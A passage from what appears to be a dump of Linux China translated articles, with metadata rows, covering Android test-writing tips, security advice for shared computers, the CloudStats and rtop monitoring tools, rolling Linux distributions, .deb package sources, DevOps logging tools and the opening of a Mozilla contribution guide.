因为我首先测试语言选择 activity,在测试 NewsList activity 之前,总有一种语言已经是选择好了的。但是当我先测试新闻列表 activity 时,测试用例开始返回错误信息。原因很简单 - 没有选择语言,recycler view 不会显示。**注意, 测试用例的执行顺序不能影响测试结果。** 因此在运行测试用例之前, 语言选项必须是保存在共享偏好中的。在本例中,测试用例独立于语言选择 activity 的测试。
```
@Rule
public ActivityTestRule activityTestRule =
new ActivityTestRule(TopicsActivity.class, false, false);
/*
Click on any news item.
It should open NewsDetailActivity
*/
@Test
public void testClickOnAnyNewsItem() {
UserPreferenceUtil.saveUserPrimaryLanguage("english");
Intent intent = new Intent();
activityTestRule.launchActivity(intent);
try {
ViewInteraction viewInteraction = onView(withId(R.id.news_list));
viewInteraction.check(matches(isDisplayed()));
} catch (NoMatchingViewException e) {
return;
} catch (AssertionFailedError e) {
return;
}
onView(allOf(withId(R.id.news_list), isDisplayed())).perform(RecyclerViewActions
.actionOnItemAtPosition(1, click()));
intended(hasComponent(NewsDetailsActivity.class.getName()));
?}
```
#### 在测试用例中避免使用条件代码
现在在第二个测试用例 `testChangeLanguageFeature()` 中,我们获取到用户选择语言的个数,基于这个数目,我们写了 if-else 条件来进行测试。 但是 if-else 条件应该写在你的代码当中,而不是测试代码里。每一个条件应该单独测试。 因此,在本例中,不是只写一条测试用例,而是要写如下两个测试用例。
```
/**
* To test the correct text on the button when only one language is selected.
*/
@Test
public void testChangeLanguageFeatureForSingeLanguage() {
//Other initializations
UserPreferenceUtil.saveSelectedLanguagesCount(1);
Intent intent = new Intent();
activityTestRule.launchActivity(intent);
onView(withText("Choose your Language")).check(matches(isDisplayed()));
}
/**
* To test the correct text on the button when more than one language is selected.
*/
@Test
public void testChangeLanguageFeatureForMultipleLanguages() {
//Other initializations
UserPreferenceUtil.saveSelectedLanguagesCount(5); //Write anything greater than 1.
Intent intent = new Intent();
activityTestRule.launchActivity(intent);
onView(withText("Choose your Languages")).check(matches(isDisplayed()));
}
```
#### 测试用例应该独立于外部因素
在大多数应用中,我们与外部网络或者数据库进行交互。一个测试用例运行时可以向服务器发送一个请求,并获取成功或失败的返回信息。但是不能因从服务器获取到失败信息,就认为测试用例没有通过。这样想这个问题 - 如果测试用例失败,然后我们修改客户端代码,以便测试用例通过。 但是在本例中, 我们要在客户端进行任何更改吗?- **NO**。
但是你应该也无法完全避免要测试网络请求和响应。由于服务器是一个外部代理,我们可以设想一个场景,发送一些可能导致程序崩溃的错误响应。因此,你写的测试用例应该覆盖所有可能来自服务器的响应,甚至包括服务器决不会发出的响应。这样可以覆盖所有代码,并能保证应用可以处理所有响应,而不会崩溃。
>
> 正确的编写测试用例与编写这些测试代码同等重要。
>
>
>
感谢你阅读此文章。希望对测试用例写的更好有所帮助。你可以在 [LinkedIn](http://www.linkedin.com/in/anshul-jain-b7082573) 上联系我。还可以[在这里](https://medium.com/@anshuljain)阅读我的其他文章。
获取更多资讯请关注我们, 我们发新文章时您将获得通知。
---
via: <https://blog.mindorks.com/the-dos-and-don-ts-of-writing-test-cases-in-android-70f1b5dab3e1#.lfilq9k5e>
作者:[Anshul Jain](https://blog.mindorks.com/@anshuljain?source=post_header_lockup) 译者:[kokialoves](https://github.com/kokialoves) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 404 | Not Found | null |
8,197 | 如何在使用网吧或公用计算机时保持数据安全 | https://fedoramagazine.org/5-security-tips-shared-public-computers/ | 2017-02-13T08:56:00 | [
"安全",
"数据"
] | https://linux.cn/article-8197-1.html | 
对我们许多人来说,安全最重要的是使我们的个人数据安全。理论上,最好的安全能够承受任何滥用。然而,在现实世界中,你不能覆盖*所有*可能的滥用情况。因此,最好的策略是使用多种技术来提高安全性。大多数正常人不需要复杂的方案和[加密](https://en.wikipedia.org/wiki/Cryptography)来保持安全,但是可以让入侵者访问你的数据变得很困难。
这可能听起来很蠢,但在图书馆,教室或实验室中的计算机 - 或者你的朋友的电话 - 它们不是你的。即使是云或云服务通常也只是别人的计算机。一般来说,将你不拥有的任何设备视为属于坏人所有,换句话说,他们想要你的数据用于邪恶用途。
以下是一些简单的方法,可以增加你的数据安全性来应对不法之徒或入侵者。
### 关闭打开的会话
当你用完设备后,登出如 Facebook 或其他站点服务。这可以防止作恶者重新打开窗口并访问你的账户。
### 清理浏览器和其他缓存
清理你浏览器中所有的历史、密码和 cookie。不要假设这些是登出后默认的动作。这取决于平台,同时检查缓存。如果你使用的是 Linux 系统,删除 `~/.cache` 缓存文件夹。
### 清空垃圾箱
删除桌面上遗留的任何东西,如果可以,同时清空垃圾箱。
### 使用服务安全选项
为你的服务和帐户启用登录通知或登录批准。某些服务有一个选项,当有人从新设备或位置登录你的帐户时通知你。当你登录时,你也会收到通知。但是,知道某些人是否尝试从其他计算机或位置意外地使用你的登录信息还是很有帮助的。
一些服务可能允许你通过电子邮件通知来批准任何登录活动。只有通过你收到的电子邮件中的链接进行批准,才能授予访问权限。检查你的服务,看看他们是否提供这些安全选项。
### 限制敏感信息
在不属于你的计算机上保持数据安全的最简单的方法是不要处理它。尽量避免或限制需要敏感信息的工作。例如,你可能不想在工作场所访问银行或信用卡帐户或者安全系统。
你可能需要考虑使用基于 Live USB 的操作系统来实现这些目的。Live USB 会限制甚至完全避免在运行它的主机系统上的任何数据存储。例如,你可以[下载 Live Fedora Workstation 操作系统](https://getfedora.org/workstation/download/)在 USB 上使用。
---
via: <https://fedoramagazine.org/5-security-tips-shared-public-computers/>
作者:[Sylvia Sánchez](http://lailah.id.fedoraproject.org/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | For many of us, the most important part of security is making our personal data safe. The best security will withstand any abuse, theoretically. However, in the real world, you can’t cover *all* possible situations of abuse. Therefore, the best strategy is to use multiple techniques for increasing security. Most normal people don’t need complicated schemes and [cryptography](https://en.wikipedia.org/wiki/Cryptography) to be safe. But it’s good to make it hard for intruders to get access to your data.
It may sound silly, but the computer in a library, a classroom, or a lab — or your friend’s phone for that matter — aren’t yours. Even cloud or cloud services in general are usually just someone else’s computer. In general, treat any devices you don’t own as if they’re owned by a villain — in other words, someone who wants your data for evil purposes.
Here are some simple ways you can increase your data security against miscreants or intruders.
## Close open sessions
When you’re finished with the device, log out of services such as Facebook or other sites. This helps keep an evildoer from reopening the windows and having access to your account.
## Clean browser and other cache
Clear all your history, passwords, and cookies from the browser you used. Don’t assume this is the default behavior on logout. Depending on the platform, check caches as well. You can delete the *~/.cache* folder if you’re on a modern Linux system.
## Empty the trash
Remove any items left behind on the desktop, if applicable, and empty the account’s Trash or Recycle Bin.
## Use service security options
Enable login notifications or approvals for your services and accounts. Some services have an option that notifies you when someone logs into your account from a new device or location. You’ll also get a notice when you login legitimately. But it’s helpful to know if someone tries to use your login unexpectedly from another computer or location.
Other services may allow you to approve any login activity via an email notice. Access is only granted if you approve via a link in the email you receive. Check your services to see if they offer either of these security options.
## Limit sensitive data
The easiest way to keep data safe on a computer you don’t own is not to process it to begin with. Try to avoid or limit work that needs sensitive information. For example, you might not want to access bank or credit card accounts, or secure systems for your workplace.
You may want to consider using a Live USB-based operating system for these purposes. Live USB limits or even completely avoids any data storage on the host computer system where you run it. You can [download a Live Fedora Workstation operating system](https://getfedora.org/workstation/download/) for use on a USB stick, for example.
## pedro
First two steps could be avoided if one uses Incognito mode on the browser, afaik.
Well rounded, simple post for those who are a bit more distracted. ^_^
have a great 2017, Sylvia!
## Joao Rodrigues
You have to make sure that all incognito mode windows are closed (or just use ctrl+q to close all the browser windows) because if you have two incognito mode windows open and close just one of them, your data is still available on the other window.
Safari addresses this (it’s an incognito mode session per tab)
## Sylvia Sánchez
I didn’t know that feature in Safari. Although most of shared computers aren’t Apple it’s common enough. Thank you Joao!
## Joao Rodrigues
Actually, I think that even with LiveUSB-based operating systems you aren’t completely safe.
The computer may be monitored by the Active Management Technology of those Intel vPro-enabled chips.
If you’re not using a LiveUSB-based OS, be careful even when using HTTPS.
The owner of the computer could install his own CA certificate and then use a man-in-the-middle attack to monitor all the sites that you visit (even if you use Private Browsing). Microsoft Windows does this on Child Accounts. That’s how you can monitor your kids’ Internet usage.
What about the network?
There’s no guarantee that the data you’re sending through the network isn’t monitored or captured.
You could (unknowingly) be using a misbehaved DNS resolver that hijacks your DNS requests. Even if you explicitly want to use Google DNS service or OpenDNS, you can’t be sure if your gateway captures those DNS requests and redirects them to another resolver.
You should also be careful when using free wifi spots like the ones in stores, shopping centres or cafes: you should set you computer to NOT connect automatically to these networks.
I’m not saying that every open wifi hotspot or internet cafe does this; I’m just saying that it’s technically possible.
So it all comes down to trust.
Do you trust the computer you’re on?
Do you trust the network you’re on?
Do you know and trust every computer that’s on the same network as you?
If not, then you shouldn’t do anything that involves sending your personal data.
## Sylvia Sánchez
Yes, but this has a limit. We all agree that if you’re in a shared computer is a bad idea to do online banking, but what about if you have to log in as student in x service? Aren’t you sending personal data? And if you need to check your email or a job offer? Isn’t that showing personal data? How much personal data you can disclosure before it gets dangerous? Where is the top bar?
## tux
The best option is not to share computers.
## Sylvia Sánchez
Many people work on shared computers every day for different reasons. University and high school labs have shared computers where students work together. Libraries have computers for people to use. Many educational institutes offer studying rooms with computers. Many workspaces and workshops have shared computers.
I can keep citing cases but I think I already clear the point. It’s not realistic to say “don’t use shared computers” or “don’t share computers” because often is not a situation you can choose.
So let’s try to make it harder for intruders to steal data while teaching people to protect themselves. |
8,198 | CloudStats :SaaS 服务器监控工具 | http://www.tecmint.com/cloudstats-linux-server-monitoring-tool/ | 2017-02-13T07:31:00 | [
"CloudStats"
] | https://linux.cn/article-8198-1.html | [CloudStats](http://www.servermonitoring.me/) 是一个简单而强大的服务器监控和网络监控工具。使用 CloudStats,你可以监控来自世界上任何地方的服务器和网络的所有指标。

最棒的是你不需要有任何特殊的技术技能 - CloudStats 很容易安装在任何数据中心的任何服务器上。
CloudStats 允许你使用任何操作系统对任何服务器执行服务器监视。它只需要在你的服务器上运行一个命令,即可获取所有服务器的统计信息。
在服务器和 CloudStats 之间的同步完成后,你将获得有关你的服务器和网络的完整信息,包括 CPU、磁盘、RAM、网络使用情况等。你还可以监控 Apache、MySQL、邮件、FTP、DNS 和其他服务。
这里有几个关于 CloudStats 监控的截图。

*CloudStats – 服务器概览*

*CloudStats – 服务监控概览*

*CloudStats – 监控的服务器列表*
如果系统中出现问题,CloudStats 将立即发出警报:你将在你的帐户界面中看到问题通知,并且还会通过电子邮件、Skype 或 Slack 接收警报。这将帮助你及时检测和修复服务器功能中的任何问题并防止停机。
使用 CloudStats 的另一个原因是,你可以登录 CloudStats 帐户,从任何地方(无论你在哪里)使用家庭或办公室PC、智能手机或平板电脑检查 IT 基础架构的状态。
[CloudStats 服务监控](https://servermonitoring.me/)服务基于 Microsoft Azure 云技术运行,确保其监控结果始终是正确的及最新的。
###### 下面是 CloudStats 的一些功能:
1. Linux 及 Windows 服务监控
2. 数据备份工具
3. 网络监控
4. 进程监控
5. 服务状态检查
6. 外部检查
7. URL 监控及 PingMap
8. Email、Skype 及 Slack 警告
9. 有免费账户
使用 CloudStats 后你将能够监控数百台服务器。此工具适用于商业和个人使用。与现有的服务器和网络监控服务相比,CloudStats 解决方案更便宜、更易于安装和更有用。
现在[注册一个可以监控多达 10 台服务器、网站和 IP 地址免费的个人](https://servermonitoring.me/)账户!
---
作者简介:
我是 Ravi Saive,TecMint 的创建者。一个喜欢在互联网上分享技巧和提示计算机 Geek 和 Linux 专家。我的大多数服务器运行在 Linux 开源平台上。在 Twitter、Facebook 和 Google+ 上关注我。
---
via: <http://www.tecmint.com/cloudstats-linux-server-monitoring-tool/>
作者:[Ravi Saive](http://www.tecmint.com/author/admin/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/%E6%A0%A1%E5%AF%B9%E8%80%85ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,199 | rtop:一个通过 SSH 监控远程主机的交互式工具 | http://www.tecmint.com/rtop-monitor-remote-linux-server-over-ssh/ | 2017-02-13T10:35:00 | [
"rtop",
"监控"
] | https://linux.cn/article-8199-1.html | 
[rtop](http://www.rtop-monitor.org/) 是一个基于 SSH 的直接的交互式[远程系统监控工具](http://www.tecmint.com/command-line-tools-to-monitor-linux-performance/),它收集并显示重要的系统性能指标,如 CPU、磁盘、内存和网络指标。
它用 [Go 语言](http://www.tecmint.com/install-go-in-linux/)编写,不需要在要监视的服务器上安装任何额外的程序,除了 SSH 服务器和登录凭据。
rtop 基本上是通过启动 SSH 会话和[在远程服务器上执行某些命令](http://www.tecmint.com/execute-commands-on-multiple-linux-servers-using-pssh/)来收集各种系统性能信息。
一旦 SSH 会话建立,它每隔几秒(默认情况下为 5 秒)刷新来自远程服务器收集的信息,类似于 Linux 中的所有其它[类似 top 的使用程序(如 htop)](http://www.tecmint.com/install-htop-linux-process-monitoring-for-rhel-centos-fedora/)。
#### 安装要求:
要安装 rtop 确保你已经在 Linux 中安装了 Go(GoLang)1.2 或更高版本,否则请点击下面的链接根据步骤安装 GoLang:
* [在 Linux 中安装 GoLang (Go 编程语言)](http://www.tecmint.com/install-go-in-linux/)
### 如何在 Linux 系统中安装 rtop
如果你已经安装了 Go,运行下面的命令构建 rtop:
```
$ go get github.com/rapidloop/rtop
```
命令完成后 rtop 可执行程序会保存在 $GOPATH/bin 或者 $GOBIN 中。

*在 Linux 中构建 rtop*
注意:使用 rtop 不需要任何运行时环境或配置。
### 如何在 Linux 系统中使用 rtop
尝试不用任何标志或参数运行 rtop, 会显示如下信息:
```
$ $GOBIN/rtop
```
示例输出:
```
rtop 1.0 - (c) 2015 RapidLoop - MIT Licensed - http://rtop-monitor.org
rtop monitors server statistics over an ssh connection
Usage: rtop [-i private-key-file] [user@]host[:port] [interval]
-i private-key-file
PEM-encoded private key file to use (default: ~/.ssh/id_rsa if present)
[user@]host[:port]
the SSH server to connect to, with optional username and port
interval
refresh interval in seconds (default: 5)
```
现在让我们用 rtop 监控远程 Linux 服务器,默认每 5 秒刷新收集到的信息:
```
$ $GOBIN/rtop [email protected]
```

*rtop – 监控远程 Linux 主机*
命令会每隔 10 秒刷新系统性能指标:
```
$ $GOBIN/rtop [email protected] 10
```
rtop 同样可以使用 ssh-agent、[密钥](http://www.tecmint.com/ssh-passwordless-login-using-ssh-keygen-in-5-easy-steps/)或者密码授权连接。
* 访问 rtop 的 Github 仓库:<https://github.com/rapidloop/rtop>。
总结一下,rtop 是一个简单易用的远程服务器监控工具,它使用非常少且直白的选项。你可以阅读服务器中其他[监控系统的命令行工具](http://www.tecmint.com/command-line-tools-to-monitor-linux-performance/)来提高你的 [Linux 性能监控](http://www.tecmint.com/linux-performance-monitoring-tools/)技能。
最后,在下面的评论栏中留下你的任何问题和想法。
---
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux SysAdmin 和 web 开发人员,目前是 TecMint 的内容创建者,他喜欢用电脑工作,并坚信分享知识。
---
via: <http://www.tecmint.com/rtop-monitor-remote-linux-server-over-ssh/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,200 | Arch Linux、Solus 和 openSUSE Tumbleweed:谁是你最喜欢的滚动发行版? | http://news.softpedia.com/news/arch-linux-vs-solus-vs-opensuse-tumbleweed-your-favorite-rolling-distro-is-512599.shtml | 2017-02-13T09:01:00 | [
"滚动发行版",
"发行版",
"Arch",
"Solus"
] | https://linux.cn/article-8200-1.html |
>
> 告诉我们你 PC 上使用的滚动 Linux 系统
>
>
>
我最近不得不重新安装我的笔记本,由于在我的笔记本上我只使用 Linux,我不能花半天定制操作系统、安装数百个更新,然后设置我最喜欢的应用程序。

我通常使用 [Arch Linux](https://www.archlinux.org/),但因为安装它并不简单,我必须花费很多时间让它变成我喜欢的方式,如安装我最喜欢的桌面环境,启用 AUR(Arch 用户仓库),安装工作需要的各种应用程序和我需要在笔记本上做的一切,所以,我决定试试不同的发行版。
当然,我可以使用基于 Arch Linux 的发行版,比如 Antergos、Manjaro 或 Chakra GNU/Linux,但是我不是那种衍生发行版的粉丝,更不要说它们中的许多针对特定的桌面环境而构建,我不喜欢把软件包混合起来,从而最终变成了一个臃肿的系统。
我的意思是,如果我使用 [Arch Linux](http://news.softpedia.com/news/arch-linux-2017-02-01-released-as-the-last-iso-with-32-bit-support-download-now-512492.shtml),并且我有时间安装它并完全配置它,那么当我可以使用“真实的东西”的时候,为什么我要选择那种只是混用了 Arch Linux 仓库/软件包的操作系统呢?所以,我去看了看 [Solus](https://solus-project.com/) 和 [openSUSE Tumbleweed](https://en.opensuse.org/Portal:Tumbleweed),因为现在它们是最流行的系统之一。
虽然 openSUSE Tumbleweed 是一个[总是能得到最新的软件版本](http://news.softpedia.com/news/kde-plasma-5-9-wine-2-0-and-pulseaudio-10-hit-opensuse-tumbleweed-s-repos-512541.shtml),并会迅速移动到新的 Linux 内核分支的很棒的发行版,但我觉得基于 RPM 的发行版不是我的菜。我不知道为什么,但我一直以来总是喜欢基于 DEB 的操作系统,当然直到我发现了 Arch Linux。
当然,openSUSE Tumbleweed 很容易安装和配置,但我决定在我的笔记本上试下 Solus,因为它现在提供 ISO 快照,所以你不必在安装后下载数百个更新,并且它预装了我每天使用的大多数应用程序。
[Solus 还提供最新的应用程序](http://news.softpedia.com/news/solus-now-powered-by-linux-kernel-4-9-7-uses-applications-from-gnome-3-22-stack-512501.shtml)、系统加密,而且超级容易安装。它在我笔记本上可以安装即用,Budgie 环境也可以根据你的爱好设置。我最喜欢 Solus 的是,只要我想我就可以随时升级我使用的程序,就像在 Arch Linux 上那样。
现在 Solus 社区不像 Arch Linux 那么大,但是随着时间的推移,它会增长,特别是你可以通过贡献新的或更新包来帮助它成长。最后,每当我想重新安装我的笔记本,我可以总是依赖我手上的 Solus Live USB。
我想知道你日常使用这三个系统中的哪个,特别是在你发现你不得不重新安装系统时。是的,我知道,有很多其他发行版提供了一个快速的安装过程,如 Ubuntu,这是很多人喜欢的,但哪个滚动发行版是你最喜欢的,为什么?
---
via: <http://news.softpedia.com/news/arch-linux-vs-solus-vs-opensuse-tumbleweed-your-favorite-rolling-distro-is-512599.shtml>
作者:[Marius Nestor](http://news.softpedia.com/editors/browse/marius-nestor) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,201 | 5 个找到 deb 软件包的好地方 | https://www.maketecheasier.com/best-places-find-debs-packages/ | 2017-02-14T09:42:00 | [
"Debian",
"Ubuntu",
"软件包",
"deb"
] | https://linux.cn/article-8201-1.html | 
基于 Debian 的 Linux 发行版上有一个共同特点:为用户提供了很多可选的软件。当涉及到为 Linux 制作软件时,所有的大公司都首先瞄准这种类型的 Linux 发行版。甚至一些开发人员根本不打算为其他类型的 Linux 发行版打包,只做 DEB 包。
然而,这么多的开发人员针对此类 Linux 发行版开发并不意味着用户在寻找软件方面不会遇到问题。一般情况下,大多数 Debian 和 Ubuntu 用户都是自己在互联网上搜索 DEB 包。
因此,我们决定写一篇文章,它涵盖了五个最好的可以找到 DEB 软件包的网站。 这样基于 Debian 的 Linux 发行版的用户就能够更容易地找到他们需要的软件,而不是浪费时间在互联网上搜索。
### 1、 Launchpad
[Launchpad](https://launchpad.net/) 是互联网上最大的基于 Debian 的软件包仓库。 为什么? 这是 PPA 所在的地方!Canonical 创建了这个服务,所以任何开发商(无论是大的或小的)都可以使用它,并且轻松地将其软件包分发给 Ubuntu 用户。
不幸的是,并不是所有基于 Debian 的 Linux 发行版都是 Ubuntu。但是,就算你的 Linux 发行版不使用 PPA,也并不意味着此服务无用。Launchpad 使得直接下载任何 Debian 软件包进行安装成为可能。

### 2、 Pkgs.org
除了 Launchpad,[Pkgs.org](https://pkgs.org/) 可能是互联网上最大的查找 Debian 软件包的站点。如果一个 Linux 用户需要一个 deb,并且不能在它的发行版的软件包仓库中找到它,那它很可能在这个网站上找到。

### 3、 Getdeb
[Getdeb](http://www.getdeb.net/welcome/) 是一个针对 Ubuntu 的项目,它托管了最新的 Ubuntu 版本的软件。这使它成为一个找 Debian 包的很好的地方。特别是如果用户使用的是 Ubuntu、Linux Mint、Elementary OS 和其他许多基于 Ubuntu 的 Linux 发行版上。此外,这些软件包甚至可以在 Debian 上工作!

### 4、 RPM Seek
即使 [RPM Seek](http://www.rpmseek.com/index.html) 声称是 “Linux RPM 包搜索引擎”,奇怪的是,它也可以搜索 DEB 包。如果你试图找到一个特定的 DEB 包,并且在其他地方都找过了,再检查下 RPM Seek 或许是一个好主意,因为它可能有你所需要的。

### 5、 Open Suse Software
[Open SUSE 构建服务(OSB)](https://build.opensuse.org/)是 Linux 上最知名的软件构建工具之一。有了它,开发人员可以轻松地将他们的代码为许多不同的 Linux 发行版打包。因此,OSB 的包搜索允许用户下载 DEB 文件。
更有趣的是,许多开发人员选择使用 OSB 分发他们的软件,因为它可以轻松地生成 RPM、DEB 等。如果用户急切需要 DEB,OSB 的服务很值得去看下。

### 总结
寻找 Linux 发行版的包可能是乏味的,有时令人沮丧。想必介绍的这些网站可以让基于 Debian 的 Linux 发行版的用户在获得他们需要的软件时候更加轻松。
---
via: <https://www.maketecheasier.com/best-places-find-debs-packages/>
作者:[Derrik Diener](https://www.maketecheasier.com/author/derrikdiener/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | 
Debian-based Linux distributions have one thing going for them: superior software selection for users. When it comes to making software for Linux, all the big companies target this type of Linux distribution first. Often some developers don’t even bother to make packages for other types of Linux distributions and *only* make DEB packages.
However, just because many developers target these types of Linux distros doesn’t mean that its users never have problems finding software. Most Debian and Ubuntu users will find themselves hunting down DEB packages on the Internet.
It is because of this we’ve decided to make an article that covers the five best websites to find DEB packages for Debian-based Linux distributions. This way users will be able to more easily find the software they need instead of wasting time searching all over the Internet.
## 1. Launchpad
[Launchpad](https://launchpad.net) is the largest Debian-based package repository on the Internet. Why? It’s where PPAs live! Canonical created this service so that any developer (big or small) could use it and easily distribute their packages to Ubuntu users.
Unfortunately, not all Debian-based Linux distributions are Ubuntu. However, just because your Linux distro doesn’t use PPAs doesn’t mean that this service is useless. Launchpad makes it very possible to directly download any Debian package for installation.
## 2. Pkgs.org
Aside from Launchpad, Pkgs.org is probably the largest place to find Debian packages on the Internet. If a Linux user is in need of a deb and can’t find it in their distribution’s’ package repository, it is very likely to be found on this website.
## 3. RPM Seek
Even though [this website](https://www.rpmseek.com/index.html) claims to be “the search engine for Linux RPM packages,” strangely, it can search for DEB packages, too. If you’ve tried to find a certain DEB package and have looked everywhere, perhaps it would be a good idea to also check RPM Seek, as it might have exactly what you need.
## 4. Open Suse Software
The [Open SUSE build service](https://build.opensuse.org/) is one of the most famous software building tools for Linux. With it, developers can easily take their code and package it for many different Linux distributions. As a result the package search for the OSB allows users to download DEB files.
What’s even more interesting is the fact that a lot of developers choose to distribute their software with the OSB because it can easily generate RPMs, DEBs, etc. If a user is in need of a DEB and is coming up short, the Open SUSE Build service is a great place to look.
## Conclusion
Finding packages for Linux distributions can be tedious and at times frustrating. This is why it’s nice to know that there are websites out there that users of Debian-based Linux distributions can visit to get the software they need.
Do you know a great place to find Debian packages? Let us know below!
Our latest tutorials delivered straight to your inbox |
8,202 | 5 个用于日志记录以及监控的 DevOps 工具 | https://www.linux.com/news/open-cloud-report/2016/5-devops-tools-logging-and-monitoring | 2017-02-14T08:52:00 | [
"监控",
"日志"
] | https://linux.cn/article-8202-1.html | 
>
> 这些 DevOps 日志记录和监控工具是重塑云计算趋势的一部分 -- 在《开放云指南》中了解更多。
>
>
>
在云中,开源工具和应用程序使 DevOps 提高了很多效率,对于日志记录和监视解决方案尤其如此。监控云平台、应用程序和组件以及处理和分析日志,对于确保高可用性、高性能、低延迟等至关重要。事实上,RightScale 最近的[云状态调查](http://www.rightscale.com/blog/cloud-industry-insights/cloud-computing-trends-2016-state-cloud-survey)报告中说,最常见的云优化的行为中,45% 的大公司和中小型企业关注的是监控。
然而,专有的记录和监控解决方案是昂贵的。更糟的是,它们通常捆绑更昂贵的管理服务产品。
现在进入强大的开放日志和监控解决方案的新浪潮。其中一些聚焦于有针对性的任务,例如容器集群的监控和性能分析,而其他作为整体监控和警报工具包,它们能够进行多维度的数据收集和查询。
Linux 基金会最近[发布](https://www.linux.com/blog/linux-foundation-issues-2016-guide-open-source-cloud-projects)了[<ruby> 《开放云指南:当前趋势和开源项目》 <rt> Guide to the Open Cloud: Current Trends and Open Source Projects </rt></ruby>](http://go.linuxfoundation.org/l/6342/2016-10-31/3krbjr?utm_source=press-release&utm_medium=pr&utm_campaign=open-cloud-report-2016)这篇报告。这是第三份年度报告,全面地介绍了开放云计算的状态,包括为 DevOps 社区的日志记录和监控的部分。该报告现在已经可以[下载](http://go.linuxfoundation.org/l/6342/2016-10-31/3krbjr),它对研究进行了汇总和分析,阐述了容器、监控等的发展趋势在如何重塑云计算。该报告提供了对当今开放云环境很重要的分类项目的描述和链接。需要特别注意的是,DevOps 已经成为云中应用交付和维护的最有效方法。
在这里的[一系列帖子](https://www.linux.com/news/open-cloud-report/2016/guide-open-cloud-state-micro-oses)中,我们按照类别从指南中列出了这些项目,并提供了该类别整体发展情况的见解。下面,你将看到一些用于记录和监视的重要 DevOps 工具集合,它们所带来的影响,以及它们的 GitHub 链接,这些都是从《[开放云指南](http://go.linuxfoundation.org/l/6342/2016-10-31/3krbjr?utm_source=press-release&utm_medium=pr&utm_campaign=open-cloud-report-2016)》中收集而来的:
### 日志记录和监控
#### Fluentd
Fluentd 是一个用于统一日志记录层的开源数据收集器,由 Treasure Data 贡献。它将数据结构化为 JSON,以统一处理日志数据的所有方面:在多个源和目标之间收集、过滤、缓冲和输出日志。
* [官网](http://www.fluentd.org/)
* [GitHub](https://github.com/fluent)
#### Heapster
Heapster 是 Kubernetes 的一个容器集群监控和性能分析工具。它本身支持 Kubernetes 和 CoreOS,并且经过调整可以在 OpenShift 上运行。它还支持可插拔的存储后端:使用 Grafana 的 InfluxDB、Google Cloud Monitoring、Google Cloud Logging、Hawkular、Riemann 和 Kafka。
* [官网](http://blog.kubernetes.io/2015/05/resource-usage-monitoring-kubernetes.html)
* [GitHub](https://github.com/kubernetes/heapster)
#### Logstash
Logstash 是 Elastic 的开源数据管道,用于帮助处理来自各种系统的日志和其他事件数据。它的插件可以连接到各种源和大规模流数据到中央分析系统。
* [官网](https://www.elastic.co/products/logstash)
* [GitHub](https://github.com/elastic/logstash)
#### Prometheus
Prometheus 是一个开源的系统监控和警报工具包,最初由 SoundCloud 构建,现在是 Linux 基金会的云计算基础项目。它适用于以机器为中心和微服务架构,并支持多维度数据收集和查询。
* [官网](https://prometheus.io/)
* [GitHub](https://github.com/prometheus)
#### Weave Scope
Weave Scope 是 Weaveworks 的开源工具,用于实时监控分布式应用程序及其容器。它与 Kubernetes 和 AWS ECS 集成。
* [官网](https://www.weave.works/products/weave-scope/)
* [GitHub](https://github.com/weaveworks/scope)
*要了解更多关于开源云计算的趋势,查看顶级开源云计算项目的完整列表。[现在下载 Linux 基金会的《开放云指南》报告!](http://bit.ly/2eHQOwy)*
---
via: <https://www.linux.com/news/open-cloud-report/2016/5-devops-tools-logging-and-monitoring>
作者:[SAM DEAN](https://www.linux.com/users/sam-dean) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,203 | 如何向 Mozilla 开源社区做贡献 | https://opensource.com/article/17/1/how-get-started-contributing-mozilla | 2017-02-14T10:08:00 | [
"Mozilla",
"开源社区",
"贡献"
] | https://linux.cn/article-8203-1.html | 
>
> <ruby> 千里之行,始于足下 <rp> ( </rp> <rt> The journey of a thousand miles begins with one step </rt> <rp> ) </rp></ruby>—— 老子
>
>
>
参与开源工作有很多好处,可以帮助你优化和加速技术生涯,包括但不仅限于提高现实中的技术经验和拓展你的专业人脉。有很多你能做贡献的开源项目,无论是小型、中型、大型,还是不知名或知名的项目。在这篇文章里我们将专注于如何为网上最大、最有名的开源项目之一 ,**Mozilla** ,做出贡献。
### 为什么要向 Mozilla 做贡献?
#### 现实经验
Mozilla 是网络上最大的开源项目之一,其也托管了许多其他的开源项目。所以,当你为像 Mozilla 这样的大型开源项目做贡献时,你能真正接触到技术领域中的事物是如何工作的,能增长关于技术术语和复杂系统功能的知识。最重要的是,你能理解如何将代码从本地系统移动到实际的代码仓库里。你将会学习在管理大型项目时,贡献者们使用的许多工具和技术,如 Github 、Docker、Bugzilla 等。
#### 社区联系
社区是任何开源项目的核心。向 Mozilla 做贡献将你与 Mozilla 的员工和顾问、资深 Mozilla 贡献者(又称 Mozillians)以及你当地的 Mozilla 社区相互联系在一起。社区里有着同样关注并致力于改善开源项目的志趣相投的人们。
你也能有个机会来建立在 Mozilla 社区里的专属身份,激励其他 Mozillians 同伴。如果你想的话,最后你也能指导其他人。
#### 活动和酷物件
